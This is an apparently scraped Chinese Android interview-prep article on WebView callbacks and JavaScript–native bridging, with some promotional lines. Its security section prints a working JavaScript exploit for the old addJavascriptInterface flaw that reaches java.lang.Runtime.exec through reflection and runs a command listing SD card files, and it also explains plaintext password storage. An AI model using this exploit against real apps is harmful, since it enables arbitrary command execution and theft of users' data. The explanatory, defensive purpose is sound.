Webview 面试常见问题,安卓 android 开发
public void onDownloadStart(String url, String userAgent, String contentDisposition,
String mimetype, long contentLength) {
//交给其他应用处理 或 自己开启线程执行
Uri uri = Uri.parse(url);
Intent intent = new Intent(Intent.ACTION_VIEW,uri);
startActivity(intent);
}
});
WebViewClient 和 WebChromeClient 的区别
================================
这里有很多资料,中文网站千篇一律,
我看了一下 Stack Overflow,下面我比较认可
WebViewClient 主要涉及展示内容的方法,可以通过这些方法介入内容的展示,WebChromeClient 提供了可以和 Activity 交互的一些方法,可以将 js 调用反馈给 Activity,或者请求一些 native 的资源。
WebViewClient
void doUpdateVisitedHistory (WebView view, String url, boolean isReload)
void onFormResubmission (WebView view, Message dontResend, Message resend)
void onLoadResource (WebView view, String url)
void onPageCommitVisible (WebView view, String url)
void onPageFinished (WebView view, String url)
void onPageStarted (WebView view, String url, Bitmap favicon)
void onReceivedClientCertRequest (WebView view, ClientCertRequest request)
void onReceivedError (WebView view, int errorCode, String description, String failingUrl)
void onReceivedError (WebView view, WebResourceRequest request, WebResourceError error)
void onReceivedHttpAuthRequest (WebView view, HttpAuthHandler handler, String host, String realm)
void onReceivedHttpError (WebView view, WebResourceRequest request, WebResourceResponse errorResponse)
void onReceivedLoginRequest (WebView view, String realm, String account, String args)
void onReceivedSslError (WebView view, SslErrorHandler handler, SslError error)
boolean onRenderProcessGone (WebView view, RenderProcessGoneDetail detail)
void onSafeBrowsingHit (WebView view, WebResourceRequest request, int threatType, SafeBrowsingResponse callback)
void onScaleChanged (WebView view, float oldScale, float newScale)
void onTooManyRedirects (WebView view, Message cancelMsg, Message continueMsg)
void onUnhandledKeyEvent (WebView view, KeyEvent event)
WebResourceResponse shouldInterceptRequest (WebView view, WebResourceRequest request)
WebResourceResponse shouldInterceptRequest (WebView view, String url)
boolean shouldOverrideKeyEvent (WebView view, KeyEvent event)
boolean shouldOverrideUrlLoading (WebView view, WebResourceRequest request)
boolean shouldOverrideUrlLoading (WebView view, String url)
WebChromeClient
Bitmap getDefaultVideoPoster ()
View getVideoLoadingProgressView ()
void getVisitedHistory (ValueCallback<String[]> callback)
void onCloseWindow (WebView window)
boolean onConsoleMessage (ConsoleMessage consoleMessage)
void onConsoleMessage (String message, int lineNumber, String sourceID)
boolean onCreateWindow (WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg)
void onExceededDatabaseQuota (String url, String databaseIdentifier, long quota, long estimatedDatabaseSize, long totalQuota, WebStorage.QuotaUpdater quotaUpdater)
void onGeolocationPermissionsHidePrompt ()
void onGeolocationPermissionsShowPrompt (String origin, GeolocationPermissions.Callback callback)
void onHideCustomView ()
boolean onJsAlert (WebView view, String url, String message, JsResult result)
boolean onJsBeforeUnload (WebView view, String url, String message, JsResult result)
boolean onJsConfirm (WebView view, String url, String message, JsResult result)
boolean onJsPrompt (WebView view, String url, String message, String defaultValue, JsPromptResult result)
boolean onJsTimeout ()
void onPermissionRequest (PermissionRequest request)
void onPermissionRequestCanceled (PermissionRequest request)
void onProgressChanged (WebView view, int newProgress)
void onReachedMaxAppCacheSize (long requiredStorage, long quota, WebStorage.QuotaUpdater quotaUpdater)
void onReceivedIcon (WebView view, Bitmap icon)
void onReceivedTitle (WebView view, String title)
void onReceivedTouchIconUrl (WebView view, String url, boolean precomposed)
void onRequestFocus (WebView view)
void onShowCustomView (View view, int requestedOrientation, WebChromeClient.CustomViewCallback callback)
void onShowCustomView (View view, WebChromeClient.CustomViewCallback callback)
boolean onShowFileChooser (WebView webView, ValueCallback<Uri[]> filePathCallback, WebChromeClient.FileChooserParams fileChooserParams)
JS -> Native 通讯
===============
WebViewClient#shouldOverrideUrlLoading
<button onclick="callAndroid()" style="height: 26px ;width:160px; text-align: center; vertical-align: middle ">JS 调用 Native</button>
<script>
function callAndroid() {
location.href= "jsbridge://webview?&arg1=hello&arg2=world"
}
</script>
<a href="http://www.xxx.com">链接方式</a>
webview.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String s) {
Uri uri = Uri.parse(s);
Log.d("test112", s);
if(uri.getScheme().startsWith("jsbridge")) {
String arg1 = uri.getQueryParameter("arg1");
String arg2 = uri.getQueryParameter("arg2");
String s1 = "JS 调用 Native,参数 1:"+arg1+"参数 2:"+arg2;
Toast.makeText(MainActivity.this, s1, Toast.LENGTH_LONG).show();
}
return true;
}
});
@JavascriptInterface
public class AndroidToJS extends Object {
@JavascriptInterface
public void hello(String msg) {
Toast.makeText(MainActivity.this, msg, Toast.LENGTH_LONG).show();
}
}
webView.addJavascriptInterface(new AndroidToJS(), "test");
<script>
function callAndroid() {
test.hello("JS 调用 Native");
}
</script>
提供用于 JS 调用的方法必须为 public 类型
在 API 17 及以上,提供用于 JS 调用的方法必须要添加注解 @JavascriptInterface
这个方法不是在主线程中被调用的
bridge
WebChromeClient#onJsAlert()、onJsConfirm()、onJsPrompt()
<script type="text/javascript">
function promptTest(param){
prompt(param);
}
</script>
<input type="button" value="prompt 方式" onclick="promptTest('prompt 方式的参数')" /><br />
webview.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
...
result.cancle();
return true;
}
});
如果不调用result.cancle()
,并且返回 false,会展示一个 dialog
Native -> JS 通讯
===============
webView.loadUrl("javascript:xxx)
webView.loadUrl("javascript: alert('Native 注入的 JS')");
或者内置 js 代码
InputStreamReader isr = null;
try {
isr = new InputStreamReader(this.getAssets().open("test.js"), "UTF-8");
《Android 学习笔记总结+最新移动架构视频+大厂安卓面试真题+项目实战源码讲义》
【docs.qq.com/doc/DSkNLaERkbnFoS0ZF】 完整内容开源分享
BufferedReader bf = new BufferedReader(isr);
String content = "";
StringBuilder sb = new StringBuilder();
while (content != null) {
content = bf.readLine();
if (content == null) {
break;
}
sb.append(content.trim());
}
bf.close();
wholeJS = sb.toString();
} catch (IOException e) {
e.printStackTrace();
}
webView.loadUrl("javascript: " + wholeJS);
evaluateJavascript
<script>
function getUID() {
var id = 120;
return id + 1;
}
</script>
webView.evaluateJavascript("getUID()", new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
Log.d("CALLBACK", value);
}
});
比较
==

安全问题
====
远程代码执行漏洞
Android API level 17 以及之前的系统版本,由于程序没有正确限制使用 addJavascriptInterface 方法,远程攻击者可通过使用 Java Reflection API 利用该漏洞执行任意 Java 对象的方法。 通过 addJavascriptInterface 给 WebView 加入一个 JavaScript 桥接接口,JavaScript 通过调用这个接口可以直接与本地的 Java 接口进行交互。就有可能出现手机被安装木马程序、发送扣费短信、通信录和短信被窃取、获取本地设备的 SD 卡中的文件等信息,从而造成信息泄露,甚至手机被远程控制等安全问题。
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
//从执行命令后返回的输入流中得到字符串,
从而得到文件名的信息,有很严重暴露隐私的危险。
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getInputStream2String(p.getInputStream()));
addJavascriptInterface 接口,需使用以下方法:Android4.2 以上,允许被 JavaScript 调用的方法必须以 @JavascriptInterface 进行注解声明,
密码明文存储漏洞
WebView 默认开启密码保存功能 mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db
域控制不严格漏洞
文末
架构师不是天生的,是在项目中磨练起来的,所以,我们学了技术就需要结合项目进行实战训练,那么在 Android 里面最常用的架构无外乎 MVC,MVP,MVVM,但是这些思想如果和模块化,层次化,组件化混和在一起,那就不是一件那么简单的事了,我们需要一个真正身经百战的架构师才能讲解透彻其中蕴含的深理。


一线互联网 Android 面试题总结含详解(初级到高级专题)

评论